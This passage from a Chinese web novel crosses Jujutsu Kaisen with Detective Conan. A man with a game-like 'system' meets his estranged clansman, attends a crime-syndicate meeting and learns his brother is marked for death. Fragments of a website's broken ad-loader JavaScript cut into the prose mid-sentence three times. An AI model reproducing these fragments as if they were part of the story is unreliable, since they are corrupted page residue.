在街道的另一边,穿着黑色T恤衫的精壮黑发男人单手提着超市购物袋,个子很高,倒三角的身材引得路人频频回头。 男人和少女并肩走着,两人正交谈着什么,能看出来气氛相当不错,比起禅院直哉记忆中的模样多了几分闲适。 似乎说到什么有趣的地方,一时间两人都眉眼弯弯,男人脸上的笑容格外真切,看得禅院直哉微愣。 毕竟,自从六年前禅院慎一离开禅院家,禅院直哉便再也没有能跟他说上一句话。 这么多年以来,即便禅院直哉有心寻找,却仍仅见过寥寥几面,之后便擦肩而过。 除去见面的那几次外,其余的时间全都不知踪迹,禅院直哉只能偶尔从各种渠道得知不知真假的只言片语来了解对方的现状。 最近的一次相遇是在酒吧,但依旧连交谈的机会都不曾有……黑发男人只会面无表情的经过,余光也不会分出分毫。 虽然不愿意承认,但很明显…… 被全然无视了。 本来以禅院直哉的自尊与骄傲,绝不会再去关注对方,甚至不去蓄意打击报复都算大度,但不知为何,他就无法停止注意。 ……他放不下。 禅院直哉无法不去关注对方的消息,甚至,在面对同族那些庸才废物的调笑,他少见的生不出反驳的心思。 毕竟,这些垃圾懂什么呢? 不是所有人都能意识到什么才是真正的强者,不是谁都能见识到绝对的强大。 这样的庸才,自然无法分辨出真正被上天偏爱着的珍宝。 重逢和相遇都太过于稀少,甚至罕见到珍贵,因此,当对方印在自己视网膜上的一瞬间,一股甜蜜的欣喜便不自觉的涌上青年心头。 可下一秒,在看清对方的身影后,禅院直哉嘴角的笑容消失了,他攥紧拳头,不自觉便将视线紧紧的盯在一处。 ——盯在黑发男人左臂下半的空荡。 受伤了?截肢了?残疾了? 可是。 他这么强大的人,怎么会受伤? 他这么强大的人,怎么会残疾? 他这样强大的人,怎么会失败?! 这个人,真的是他吗? 禅院直哉在心中大声否认。 怎么可能是他呢?到底要多强的人才能把他伤成这样?是不是看错了——总之,这绝对不会是他吧—— 如果是他的话,怎么可能变的如此窝囊,怎么会沦为残废,甚至相当自然的融入这样的生活,安心的做这种垃圾? 可熟悉感却做不了假,直觉告诉禅院直哉,对面确实就是那个人,那个他心心念念的强者,有着天予束缚的绝对强者。 那个曾伴在他身边的…… 怎么可能呢…… 是谁?到底是谁?谁敢? 要多强才能做到这种地步? 或者说,他难道变成了一个废物?!不然这怎么解释呢?以他的实力,怎么可能会残疾!他怎么会失败呢?! 他怎么能失败呢?! 禅院直哉死死的盯着发男人的那处残缺,怒火与嫌恶盖过了重逢的欣喜,暴怒的种子急速的生根发芽,直至破土而出。 带着尖刺的藤蔓在心中生长着,随着情绪的爆发,紧紧缠绕住青年的心脏,愤怒越汹涌,藤蔓便缠的越紧。 尖刺牢牢的刺入心脏,在上面划开一道又一道细小的伤口,分不清是血还是泪顺着心向下滴落,痛楚在心中波起涟漪。 路边树上蝉声阵阵,夕阳越发红艳,路人从身边经过。明明一切如常,街区气氛安稳祥和,每一缕晚风在掠过耳侧时都那么温柔。 一切都显示出这是一个很好的夏天。 只有黑发青年站在那里,面色苍白,他又一次遇到了无法理解的难题,一时间疑惑到近乎痛苦。 ……一如六年前的那一夜。 禅院直哉直直的站在那里,站在与那个人仅仅隔着一条街道的地方,无论如何努力,都移不开半步。 无论是靠近还是离开。 他有些迷茫于走还是留。但愤怒是真实的,黑发青年几乎要将下唇咬出血来,怒火几乎满溢到无法克制—— 直到那人看过来。 直到与那双浅棕色的瞳对视。 直到看见那张熟悉的,时常出现在梦里的脸,投来如同看到陌生人的视线,随后自然的略过收回。 即便不再温柔,即便不再特殊,即便已经失去了被注视的资格,即便他并不觉得自己曾犯过错…… 但鲜血仍旧从心上的旧伤中溢出。 禅院直哉眼角微红。 ———— 【禅院直哉好感度+6】 【禅院直哉好感度-20】 【禅院直哉好感度+30】 【禅院直哉好感度-14】 【禅院直哉好感度+8】 …… 听着脑内播报的好感度如同坐着过山车般加减变化,禅院慎一面色不变,继续和身边少女交谈着,甚至有点想笑。 毕竟他很了解,以某人的价值观,发现自己残废之后,只掉200好感都算少的,所谓的高好感不过是—— 【禅院直哉好感度+200】 【滴滴!现检测好感度高频变化已结束,数值已经稳定,请查收。】 【禅院直哉好感度998,他很纠结,但仍视你为所有物。】 嗯? 禅院慎一听见这句播报后挑眉,哪怕是极其了解对方脑回路的他,在得知结果时,也难免有些意外。 还真是一如既往的…… 贪婪到胡闹啊。 “禅院先生?那位是……熟人吗?” 毛利兰自然也察觉到了对面人行道上青年的视线,这视线过于热烈,哪怕她只是被余光扫过,也有点难以承受这些许波及。 好可怕的视线。 对面是仇人吗?但又不像,可瞪向这边的目光实在是有些可怕……生活环境温柔善良的少女还是第一次遇到这种情况。 毛利兰纠结几秒后,选择出声询问。 “不认识。” 禅院慎一干脆利落的回答道。 “欸?!” 听见这个答案,毛利兰一愣。 不认识吗?怎么有点像在说气话呢……不过这应该涉及到禅院先生的隐私,还是不要多问比较好。 少女在心中打定主意,相当配合的点点头表示理解,没有再过多询问,而是相当贴心的接受了这个答案。 “欸?这不是禅院兄弟吗?” 下楼买烟的毛利小五郎刚好和女儿还有禅院慎一碰上,他挥挥手,相当热情的招呼起来:“晚饭吃了没?要不要一起啊?” “好啊。”禅院慎一点头应邀。 “是刚才买菜的时候碰到了吗?谢谢禅院兄弟帮忙拎菜啊,来来来,赶紧上楼。” 因为站在楼梯口有墙壁挡着,毛利小五郎并没有注意到对面街道的奇怪青年,他相当自豪的说道: “不是我自夸,但我家兰做饭相当好吃哦,今天的促销是牛肉吧?小兰做的牛肉丸子汤,吃一次之后绝对忘不了……” “哎呀,爸爸!”毛利兰有些不好意思,赶紧打断父亲的话以免他再乱说什么,推着毛利小五郎赶紧上楼。 禅院慎一被面前的父女逗笑,跟着两人一同走上楼梯,墙壁遮住了背后热烈的视线。 对面街道的理发店内,店主已经相当纠结的看向落地窗好一会,或者说是在看站在门口的黑发青年。 对方很明显心情不佳,哪怕隔着玻璃都能感受到可怕气场,不仅如此,这家伙的衣着也很特别,居然穿着一身和服。 难道是从哪个片场里面出来的吗? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 但也没听说附近有拍戏的啊,怎么站在门口一动不动,是在看什么?店主有些疑惑的想。 站在理发店外的禅院直哉倒是没意识到站在这里会打扰人家的生意,他盯着禅院慎一消失的那个楼梯口看了好一会儿才缓过神来。 算了,至少知道慎一这家伙现在在哪了,回来找人调查一下他去的地方好了,没看错的话叫做毛利侦探事务所? 情绪平复些许后,禅院直哉打算离开,他刚转过身,身旁落地窗上贴着明星海报便映入眼帘。 海报上的美丽女星笑容开朗,最引人注目的是她那一头相当灿烂的金发大波浪,在夏日海滩背景下简直闪闪发光。 这是家理发店? 禅院直哉很快便意识到自己正站在理发店门前,察觉到店内老板的视线,他有些微恼,直接抬起脚大步走开。 这家店的品味真烂,落地窗上的明星海报一个比一个丑,尤其是刚才那张。禅院直哉在心中迁怒的想。 而且,怎么刚好是金发? 海报上那头漂亮的金色大波浪存在感太强,轻而易举的让禅院直哉联想起了某些人,一时间他心情更差了。 晦气。 禅院直哉翻了个白眼。 这位闹脾气的小少爷气呼呼的顺着街道向前走,走到了和辅助监督一开始约好来接他的路口。 砰——! 这次的关门声也很响,甚至比上午更夸张,随着车门与车身的贴合,发出了巨大的碰撞声,甚至让整个车子都抖了一抖。 辅助监督依旧不敢立刻回头看,他对着方向盘盯了好几秒,确定坐在后座的黑发青年呼吸平静些后,才敢抬头看向后视镜。 可怕。 脸色怎么比上午更差了。 这次任务没挑错吧,不就是普通二级任务吗?明明刚才做第一个任务的时候还气定神闲的,这才不到一个小时怎么又生气了。 少爷,你又咋了? 辅助监督不敢多看,感受着车内的低气压,在心中默默流泪。 但该做的工作还是要做,哪怕硬着头皮也要做,本着负责的想法,辅助监督问道: “直哉少爷,我们现在是再做一个任务,还是直接回京都?” “不做,不回。”禅院直哉毫不犹豫的否决了辅助监督的提议,他双臂环胸,脸色越发的臭:“今天就在东京。” “那今晚去东京高专住吗?”辅助监督斟酌了一下用词,建议道:“据说近期东京高专的两位特级咒术师都没有出外勤。” 去东京高专应该不会让少爷更生气吧?如果同意的话就能省下住宿费了,而且在高专住宿,安全也会得到保障。 不怕一万,就怕万一,假如这位少爷要是在这里出了什么闪失,自己命都不够赔。 禅院直哉听到这个提议后,脑内闪过五条悟和那个平民咒术师的脸,思考几秒后否决了这个提案。 “不去。” 去了虽然能够和悟君见面,但行踪应该会被报告给家里,有点烦人,还是下次去找悟君好了。 禅院直哉相当自然的忽略了在五条悟心里自己跟他根本不熟这件事,要求辅助监督去找个不错的酒店作为今晚的落脚点。 弱小可怜又无助的辅助监督没有任何办法,只能点头同意,拿出旁边的东京市区地图,开始在上面寻找最近的五星酒店。 毕竟,如果不是好酒店的话,后座的这位大少爷绝对不会入住的。 不过,虽然禅院家不缺钱,但这次额外支出到底能不能报销还是个未知数,大概预想了下住宿金额,辅助监督开始头疼。 嗯,好痛苦,明明在超现实的世界观下找到的工作,怎么还要面对这些职场和家境差距所产生的问题啊。 辅助监督真的不是保姆吗?怀着这样的腹诽,辅助监督沉默的发动车辆,任命的开向目的地,在心中默默流泪。 今天也是超想辞职的一天。 8. 便当。 按照惯例,组织成员每隔一段时间就会聚上一次,算是某种意义上的员工会议,内容是论功行赏和发布重要任务。 这次聚会的地点是组织名下的某处酒吧,虽然现在还是下午,但拉上所有落地窗帘的酒吧内部显得有些昏暗。 女低音的歌声盘旋,吧台上照着暖色灯光,柜台上的玻璃瓶反射光晕,仔细看可以发现全都是名贵酒品,精致的装潢更显韵味。 此时,酒吧里的人并不多,只有三个人,除了吧台边的女人外,一对男女坐在沙发角落抱着狙击枪,显得酒吧内格外空旷。 比起两人的拘束紧张,留着一头美丽金发的女人坐在吧台前,晃晃手中高脚杯,慢悠悠的品尝着红酒。 正在此时,留着黑色长发戴着黑色编织帽的男人推开门,门旁门铃随之而响,他坐到吧台前,随手将背后的长盒放在地上。 “你今天倒是来的早。”贝尔摩德随意的将一瓶酒推过去,她心情不错,少见的搭话聊天:“Rye,刚做完任务?” 诸星大友好点头,拍拍风衣袖口的灰尘,他接过酒瓶和起酒器:“距离约定的时间也没几分钟了吧?现在才来这么几个人吗?” “有人出外勤了哦。”贝尔摩德笑眯眯的回答:“今天人确实少些。” 正当两人闲聊时,门口的风铃再次发出叮当响声,这次推门而入的是一位穿着西装衬衫马甲的青年。 “看样子我没来迟。”波本相当自然的走到吧台边,俊俏脸蛋上带着笑容,他开始打招呼:“下午好,各位。” “你动作还挺快,居然能赶回来。”贝尔摩德笑着接话,她随手指了指身后的酒柜:“来帮我调杯酒?” “好啊。” 波本熟练的拿起调酒工具,不一会儿调酒杯便在手中起舞,冰块相当富有节奏的击打着钢制内壁,和谐的融入酒吧音乐中。 “话说这次居然让我调啊。”波本将手中调好的酒液倒出,经过调制的液体在玻璃杯中反射着头顶光线,显得格外慵懒。 虽然只是普通的一句话,但身边的两位人精自然能够听懂这家伙在问什么,顶着两人的视线,波本笑容不变: “那家伙也有影响我工作的哦。” 贝尔摩德耸耸肩,接过酒杯,也接过了话柄:“胆子不小,酒也不错,不过不如那家伙调的好。” “我才调几年。”波本顺势也给自己倒了杯酒:“有些高精度的酒,也只有那家伙的身体素质才能100%还原配方吧。” “哈哈,说的也是。” “不早了。”早就将手边酒杯喝干的诸星大突然出声,他看了眼手腕上的手表。 “某些人晚点来也好,不然气氛都要被破坏了。”贝尔摩德拎着酒杯,指了指角落里也开始小酌的基安蒂和科恩。 “前段时间某人大发脾气的时候,你们两个也很紧张吧。”金发女人手托着下巴,涂有浓烈正红色的嘴唇嘟起。 “真说起来还是不如你。”诸星大相当直白的试探着:“毕竟你才是那家伙的搭档,你们俩工作交集最多才是。” 贝尔摩德瞪了一眼诸星大,正要说点什么时,门口风铃再次响起,意识到来者是谁后,众人都下意识的坐直了些。 “没想到那家伙在你们之间的风评还不错,还是说你们最近过的太松散了,对叛徒都能保持宽容?” 带着一身戾气和血腥气的银色长发男人来势汹汹的推开门,身后跟着穿着黑西装的方脸男人,他语气不善。 “可算来了,我今天晚上还有别的任务呢。”比起其他几人的沉默,贝尔摩德率先接话,她晃晃酒杯。 “别以为有Boss在,我就不敢杀你。”面对这种低级的挑衅,琴酒并不打算惯着,他直接掏出手枪对准坐在吧台上的金发女人。 贝尔摩德见好就收,放下酒杯表示顺从,毕竟她只是闲的没事挑衅一下,并没有打算跟琴酒真的起冲突: “现在开始例行汇报吧,从我先说?” 琴酒在沙发上坐下,示意贝尔摩德开始。 站在吧台边的波本双臂环胸,冷静的环视了一圈在场人员,确定今天缺席的是在外出任务的基尔,和一直保持神秘的朗姆。 能看出来,在场的几人除了身为组织元老的贝尔摩德外,没有人敢跟琴酒呛声,都顺从且戒备的等待发言。 近期风头正盛的新酒,波本,或者说隶属于日本公安的降谷零,认真听着众人的每句话,在脑内整合信息。 看样子慎一是安全了。 得到这个结论后,降谷零松了口气,放心许多。毕竟禅院慎一不仅是前组织人员,还是他的同届同学,同样潜伏进组织获取情报。 那家伙没出事,实在是太好了。 虽然两人在组织中不能保持比较亲密的关系,以避免怀疑。 但平日里每次相见,都能让彼此安心几分,也都可以在不显眼的范围内互相大开绿灯。 可惜,现在已经不能像之前一样没有后顾之忧的潜伏,也没有人帮忙互相处理纰漏了。 不仅如此,也算是少了一个能一起公款吃喝花钱旅游,并且理直气壮的报销的工作搭子,能看出来贝尔摩德大概率也是这个想法。 毕竟往日里每次出任务时,他们三个人上报的经费是最多的…… 思维忍不住开了会儿小差,不过降谷零很快将其拽回,在琴酒看过来时,流利的说出自己的近期工作汇报。 “真可惜,你们做的都还不错。”琴酒很明显心情不佳,但确实没找到什么发作的机会,他语气遗憾的将手中上膛的枪退膛。 “不过你们还真是废物啊,迈尔特潜伏这么长时间,居然完全没有意识到问题。”提起叛徒,琴酒不爽冷笑。 “要不是这家伙大发善心争当见义勇为的热心市民,只怕到现在还站在这里装模作样吧。” 众人都没有打算接他的话茬,毕竟这时候说话大概率要被迁怒,当然腹诽是免不了的。 毕竟琴酒也没发现嘛!凭什么怪在大家头上。更何况谁知道那家伙能是个白道啊? 虽然他一直都秉持着不杀生的习惯,但下手之狠辣绝对能排在众人前三,而且肚子里的坏水比谁都多! 波本沉默听着,自然不会在这个时候枪打出头鸟,不过说句实话,他对于禅院慎一行为的评价截然不同。 毕竟,现在的所有忍耐都是为了覆灭这个邪恶的组织,总有一天他会让在场的所有人带上手铐,承认禅院慎一所作所为的正确性。 怀着舍己为人的勇气,堪称教科书般极限拆除布满医院的七颗炸弹,救下在爆炸中受到生命威胁的百名群众…… 此刻的污名反而是种赞誉。 真是了不起。 波本面色不变,在心中反驳道。 此次聚会很快便在众人的接连报告中接近尾声,不过这次似乎有些不同——琴酒并没有转达众人日后的工作安排。 除去琴酒外地位最高的贝尔摩德在众人期待的目光下出声询问:“琴酒,Boss最近似乎都没有发布什么任务喔?” 银发男人脚步不停,大步走到门口,风铃随着他的动作发出叮当激响,在将门关上前,他留下一句让人有些摸不着头脑的话: “近期安排……呵呵,手里有任务的继续做,没有任务的等我指示吧。” 不过,比起用言语转达命令,琴酒更乐意于通过恐吓达成目的,银发男人瞳中溢满杀气,深深看了眼众人后,他冷笑着留下警告: “都老实些,别给我出手的机会。” ———— “没想到是慎一哥盘下这家店的啊。” 因为之前的凶杀案,工藤新一对禅院慎一的印象格外深刻,简单交谈几句后,两人便熟悉起来,换上了更亲近的称呼。 工藤新一坐在咖啡厅吧台前,完全没有在打扰别人的自觉,他手托着下巴,等待现任店主刚承诺给他的那杯咖啡。 吧台的内侧正是这家店的新店主,黑色卷发的精壮男人围着对他来说尺寸偏小的成人围裙,看起来多了些许居家感。 男人虽然只有一只手,但已经足够灵巧,甚至比很多双手健全的人更稳,萃取出的咖啡液很快让咖啡壶半满。 随着男人熟练的动作,咖啡豆特有的醇厚香气被激发出来,从咖啡壶口倾斜而下的咖啡液柱均匀平速。 很快一杯美味的咖啡便新鲜出炉,男人单手托着托盘走到吧台边,小臂上的青筋微起。 这体脂率都要接近个位数了吧……工藤新一上下打量完后有些汗流浃背,羡慕的同时不自觉产生了些许危机感。 虽然他对自己也很有信心,但是这种满满成年男性稳重气质的家伙实在太超模了,干嘛非要租小兰楼下的店铺啊。 “不光咖啡厅近,慎一哥你买的房子也很近呢。”经过相当丰富的心理活动后,工藤新一还是想起了此行目的,他故意说道: “真巧啊,以后就能长久相处了。” “对。”禅院慎一对工藤新一的来访持中立态度,并没有拒绝他的突然造访,甚至相当好脾气的继续磨咖啡。 察觉到工藤新一正警惕的打量着他,禅院慎一放任对方打探,只故意展露些许想让对方得知的东西。 虽然这位敏锐的世界之子肯定能在自己身上看出点东西来,但观察是相互的,他恰好也需要从这位少年侦探身上获取些情报。 而且工藤新一的目的其实挺明显的,比起为了满足好奇心,接触自己的目的更多的是为了避免 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 危险。 更何况,面前这位勇气颇佳初生牛犊,实在是过于稚嫩了些,想要引导对方得出让他坚信不疑的推理实在是太简单了。 看着工藤新一澄澈又单纯的目光,身为狡诈大人的禅院慎一在心中摇了摇头。 “喏,咖啡。” 黑发男人将磨好的咖啡递过去,并没有掩饰自己手心的枪茧,果不其然,面前的少年侦探面色一变。 “慎一哥以前是警察?”工藤新一喝了口咖啡,还是有些按捺不住,他出声询问道:“怎么会想到来这里开店呢?” “是警察。” 禅院慎一也给自己倒了杯咖啡:“如果新一君想看,就等下次吧,现在没带在身上。” 工藤新一意识到自己的打探有些过于冒昧了,挠了挠头露出局促表情:“哈哈,我倒也不是这个意思啦。” 有了这个插曲,两人交谈也更趋向于直来直往,正聊着的时候,门口传来敲门声,提着汤罐的少女走进门。 “小兰,你怎么来了?”见少女拎着汤罐,工藤新一有些惊讶。 “爸爸让我来给慎一先生送点汤。”毛利兰把汤放在吧台上:“爸爸说慎一先生刚回国,该多尝点传统料理才是。” “诶,刚回国吗?”工藤新一看向吧台,正想继续发挥十万个为什么的精神,便被少女一个额头崩夺去注意力: “小兰,很痛欸!” “昨天你还给我发消息说作业没写完呢,怎么现在跑过来打扰慎一先生。”毛利兰向着自家竹马吐舌头:“不要给慎一先生添麻烦。” 刚回国是前两天和毛利小五郎还有目暮警官吃饭的时候随便编的行踪,虽然某种意义上也没错,半个月前自己确实在美国。 禅院慎一边喝咖啡边围观少男少女的互动,轻松得出工藤新一专门来试探的目的——或者说想保护谁。 其实挺明显的。 禅院慎一看着面前少男少女的互动,很快便察觉到两人大概率正在互相暗恋,顿时有些哭笑不得。 两人并没有吵多久,意识到禅院慎一正在旁边默默围观后,一时间都闹了个大红脸,很快便找了个理由溜走。 禅院慎一耸耸肩,将汤罐提到后厨开始加餐,他解下围在身上的围裙,挂回原处后给自己倒了碗汤。 不得不说,围裙确实有些紧了,下次去超市看看有没有更大的吧,实在不行就去定制,毕竟围围裙还是很有必要的。 黑发男人喝完一碗后舔舔嘴角,回味着肉汤特有的蛋白质香气,正意犹未尽打算再添一碗时,脑内突然响起机械音。 【滴滴!】 【检测到您再一次成为语言中的焦点,在多人的交谈中成为话题并影响话题走向,原成就【话题终结者】升级!】 【恭喜您获得新成就【话题终结者Pro】!请查收!】 【不愧是您!】 禅院慎一挑眉,正在脑中搜寻近期行踪,正想确定是哪路人在讨论自己时,机械音再次响起。 【检测到您的世界影响度已经达到25%,为了奖励您的不懈奋斗,现解锁奖励特质【便当时代】,请查收!】 【【便当时代】:现在的您非同一般!能够敏锐的发现便当!影响度越高的人便当越明显哦!其余内容请自行探索。】 便当时代?发现便当? 是在说杀青的那个便当吗? 【由于您已获得第一个系统奖励特质,人物特质面板已解锁,请查收。】 经过这两天的探索以及禅院慎一本人的直觉,可以得出系统对他绝对是无害的结论,甚至算得上不错的工具。 虽然之前也有推测过世界影响度达到一定数值后,可能会像市面上的游戏一样给予奖励。 但实际听到所谓的奖励通知语音时,还是有些意外。 仔细思考了下机械音所说内容,禅院慎一表情变得严肃起来。 根据字面意思可得,自己现在可以看见即将要死的人身上的死讯,也就是所谓的便当? 这个能力有些……强的离谱啊。 禅院慎一认真思考着,正在此时口袋里的手机发出来电铃声,黑发男人随手掏出手机,刚要按下接听键动作停滞了。 因为在他面前,也就是手机的正上方,正悬浮着一个半透明的虚拟便当,便当个头绝对不算小,甚至在缓缓旋转。 让人根本无法忽视。 而透过这个便当,在便当的正下方,也就是手机那小小显示页面上,正印着来电者的名字—— 禅院甚尔。 【滴滴!】 【恭喜你发现第一个便当!哇,还是个大便当呢!不愧是您!】 禅院慎一:…… 禅院慎一:??? 9. 电话。 什么样的人才能杀死禅院甚尔? 在按下接通键前,禅院慎一盯着手机上缓缓旋转的大便当,思考着这个问题。 作为完全体天予束缚的禅院甚尔,在即便在咒术界主流并不承认天予束缚的前提下,依旧在咒术师和诅咒师中有着“天予暴君”赫赫威名。 除此之外,禅院甚尔不仅在武力上优越,战术上也同样老辣。全世界能杀掉他的人或者非人绝对不会超过一只手。 并没有放纵自己继续头脑风暴,禅院慎一按下接听键,电话那头传来熟悉的声音。 “喂?”电流传播的声音有些失真,但禅院甚尔的声线极具辨别度:“你那边安顿好了没有,也该把惠接过去了吧。” “差不多了。”禅院慎一回答道:“等这两天装修完再处理一下就接他们过去,免得装修残余的物质对身体不好。” 关于惠的抚养问题,其实兄弟二人之前就有聊过,毕竟再怎么说,禅院慎一也比完全当甩手掌柜的禅院甚尔要细心一些。 这么着急想让他把儿子接走还是头一遭……虽然之前就有讨论过这件事,但这个态度果然有问题吧。 “那就行,你看着办吧,我给惠留了些钱,几个月内饿不死。”禅院甚尔完全没有意识到自己的发言有多么不负责,自然的说道: “没什么问题我就先挂了。” “行,对了,你现在在哪?”禅院慎一问道。 禅院慎一并不打算直接和禅院甚尔说他荣获大便当这件事,不仅是系统事关重大,自家兄长的敏锐度他还是很清楚的。 大概率会被直接打个哈哈应付过去—— 就像现在这样。 “在赌马场啊,常去的那家,有事来这找我就行,挂了。”禅院甚尔相当爽快的交代了自己的位置,然后便挂断了电话。 电话另一头。 见禅院甚尔将电话挂断收起,站在禅院甚尔身边的孔时雨对禅院慎一产生了些许微妙的同情。 既要给表哥养儿子,又要给表哥当ATM爆金币,时不时还要随叫随到,这还不算什么,最令人心寒的是某人的奇葩操作,比如说—— 他们两个现在根本就不在赛马场。 而是在某家弹珠厅,离赛马场隔了两个城市,某人说起谎来真是张口就来。 虽然不知道禅院甚尔是出于何种原因隐瞒这件事,但刚才打电话的时候还专门去僻静处捂住手机避免传去杂音,可谓是手段老道。 现在电话打完,某人直接坐下原地开玩,但从孔时雨道的近期流水来看,现在赌弹珠的钱大概率是禅院慎一给的钱…… 孔时雨扶额,多年在灰色地带摸爬滚打后所剩不多的良成功被某人的奇葩操作唤醒,让他产生了些许羞愧。 四周玩家嬉笑打闹的声音以及叮叮当当的弹珠声传入耳中,身旁的那台机子果不其然又发出了代表失败的安慰音乐。 禅院甚尔的赌运实在是让人不敢恭维。 主打的就是一个又菜又爱玩。 还不服输。 坐在机子前又一次将刚才的赌注输干净的禅院甚尔舔舔嘴角,丝毫没有哀悼损失,便毫不犹豫的从手旁的弹珠盒中掏起最后一把。 又是梭///哈。 梭///哈是一种智慧。 孔时雨脑内突然就出现了这句半嘲讽意义的打趣发言,正如他预料,很快,失败音乐再次欢快响起。 果不其然,禅院甚尔并没有汲取失败的教训,反而选择再次投入硬币,让塑料盒中再次堆满小钢珠,活力满满的进行下一次游戏。 算了,他还是先走吧。 孔时雨嘴角一抽,选择离开弹珠厅。 反正这次的任务已经传达到了,该给的情报也都给了,虽然对面很强,但禅院甚尔这种水平出手很难有问题。 毕竟,这位天予暴君,在战斗和赌博这两件事情上的态度截然相反—— 思绪被口袋中的电话铃声打断,孔时雨掏出手机,在按下接听键前,看清了屏幕上的名字——禅院慎一。 孔时雨:…… 你们兄弟俩还真挺互相了解哈。 原本产生些许同情现在已经完全消失,仅留下一种淡淡的疲惫。 孔时雨面无表情的将手机装回口袋,直接无视了代表麻烦的通话铃声,直到超出时限通话自动取消。 毕竟,众所周知。 不参与别人家务事是一种美德。 ———— 禅院甚尔其实很少给禅院慎一打电话,从禅院家离开后,两人的通话频率最高也就三个月一次,通俗点说主要是确认死没死。 两人平日通话一向言简意赅,毕竟真有重要的事情都见面解决了,而且因为工作性质,大多数时候两人都在高强度换手机号。 所以能面聊就面聊。 刚才的通话中两人都没有露出任何破绽,对话内容也如常,和平日里的聊天风格完全一致。 不过不知道为什么,总觉得电话那边有些安静过头了——直觉作用下灵感微妙浮现,并被敏锐察觉并抓住。 但这也意味着现在的问题又多了一件。 禅院慎一看着手机屏幕上因拨打不通,自动结束通话的红色通话记录,肯定了自己的想法。 比如说,任务确实是从孔时雨那边的情报途径发布的,被自家表哥接下。 现在好了,他不仅要找到禅院甚尔出事的原因,还要去找一个老奸巨猾且行踪不定有意隐瞒行踪的天予束缚。 而且这个天予束缚还很了解自己,就像自己很清楚对方的手段一样。 作为中间人的情报贩子还不愿意配合,除了不愿意掺和他们两人之间的关系外,也侧面证实了这个任务的重要性—— 禅院慎一回头环视了一圈刚刚置办好的咖啡机器,回忆起已经预约好的餐厅装潢装修,一种淡淡的疲惫涌上心头。 开店,开什么店? 还是先收拾烂摊子吧。 确认好之后的行程后禅院慎一反而不着急了,他点开系统,打算看一看刚才解锁的【人物特质】页面。 果然是他自己的人物界面,页面依旧是简约的蓝色,一连串信息向下排列,记录着多种重要信息。 【姓名:禅院慎一】 【性别:男】 【种族:人类(?)】 【年龄:25岁】 【综合能力:特级】 【世界影响度:26%】 【特质:天予束缚/天选之人/初级圣人/???/便当时代(new)【其余待探索中】】 【已达成成就数量:25】 …… 【总的来说,不愧是您!】 禅院慎一很轻松的便从页面上有些莫名其妙的信息提取出三个问题,并因此陷入了全新的迷思。 经过这几天的摸索,解锁或升级成就就可以使世界影响度上升,25%解锁系统特质,差不多可以视为一比一。 而在刚刚短短的电话时长内,世界影响度便再次升高了1%,打破了一比一比例,其意义不言而喻。 禅院甚尔的死活很重要,而且刚才的电话确实起到了些许作用。 不过,比起世界影响度的上升以及特质栏显眼的灰色标识,禅院慎一最想探知的,是种族栏上那个问号—— 自己总不能不是人吧? 微妙兴致涌上禅院慎一心头,黑发男人盯着系统页面,一时间神情变幻莫测。 有意思。 ———— “还是打不通。” 伏黑津美纪放下座机电话,小姑娘有些泄气的说出本次的通话结果:“一直都在通话中……不知道是占线还是关机。” “打不通就打不通,不要再给那家伙打电话了,反而浪费电话费。” 坐在沙发上的黑发男孩,也就是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 伏黑惠说道,他抱着书包拿出课本,对这个结果毫不意外,反过来安慰姐姐: “没关系的,直接跟老师说家长不在没法签字就好了,家长会也不是一定要家长出席的,反正这学期都要结束了。” 伏黑津美纪低落,点头走到沙发边坐下,沙发已经有些旧了,随着她的动作发出木料摩擦的咯吱声,可见年代久远。 整个屋子不仅沙发破旧,事实上屋内每件家具都有时光磨损的痕迹,生活气息很浓郁,从户型上看是普通的家用房。 屋内没有开灯但不算太暗,傍晚的夕阳冲破老城区拥挤楼栋撒在阳台,灰尘浮在光线中,一同被染成橙黄。 “惠,你说叔叔是不是和妈妈一样选择走掉了啊。”伏黑津美纪也将书包中的书拿出,忍了又忍,还是情绪低落的说出了自己的推测。 “……”伏黑惠原本想干脆利落的回答一句就是如此,但看见身边人低落的样子,还是换了个更温和的说法: “那家伙喜欢换号码,还不爱交话费,大概率是停机了吧,过会儿再打一次好了。” “嗯!也到晚饭时间了,我去做饭吧。” “我帮你。” 两个还在读小学的孩子来到厨房,熟练的开始做饭。 他们早就已经适应了这样的留守生活,这个组装家庭的大人都很不靠谱,作用只有留下些生活费。 伏黑惠和伏黑津美纪一边聊天一边洗菜,顺带备好明天去学校的便当,平常家庭的温馨由彼此给予着。 因为两个人个子都不高,做饭时还要专门拿来小木凳在脚下垫着,才能较为舒服的摸到灶台上的东西。 “这么处理很好呀,真棒。”伏黑津美纪擦着灶台,听见弟弟说学校里的经历,露出开心的笑容。 “嗯。”伏黑惠站在小凳子上拿着小刀削土豆皮,手又快又稳:“还有你之前讲的那种题目,果然考到了。” “对吧!话说这次放假结束就要升年级了,不知道到时候能不能直接把学费给老师。” 擦完灶台后,伏黑津美纪蹲下检查煤气灶,确认剩余量后松了口气。 “应该可以吧。” 伏黑惠把切好的土豆放到碗中,开始处理伏黑津美纪递过来的番茄:“不过那家伙说,打算把我送到叔叔那里。” “叔叔?”伏黑津美纪觉得有些耳熟,回忆了下很快便找到了目标:“是之前给我们寄生日礼物的那个叔叔吧。” “对。”伏黑惠点头。 仔细说来伏黑姐弟认识也才两年,两位不负责的父母重组家庭后姐弟二人一起生活相依为命。 伏黑津美纪虽然在努力做个姐姐照顾伏黑惠,但对伏黑惠乃至于继父之前的事情都知之甚少。 不过两个孩子都对这位所谓的叔叔印象很好,因为再婚后的那一年,寄来的生日礼物是两份。 因为伏黑惠的生日在冬天,礼物是围巾和手套,很明显仔细挑过也了解他们的身形,穿着很合适。 之前也有明确说过如果接受抚养权的话,会把两个孩子一起带走。 说到这里,伏黑惠回忆了下,但很可惜记忆还是很模糊:“总之去哪里都一样。” 只要津美纪获得幸福就行,伏黑惠想。 “不过叔叔比那家伙强多了,是个很温和的人,工作很忙,我见过的次数不多,但他跟爸爸长的还蛮像的。” 伏黑津美纪认真倾听着,察觉到伏黑惠虽然嘴上说的绝情,但其实还是很低落,想了想选择先转移弟弟的注意力。 做什么才能高兴起来呢? 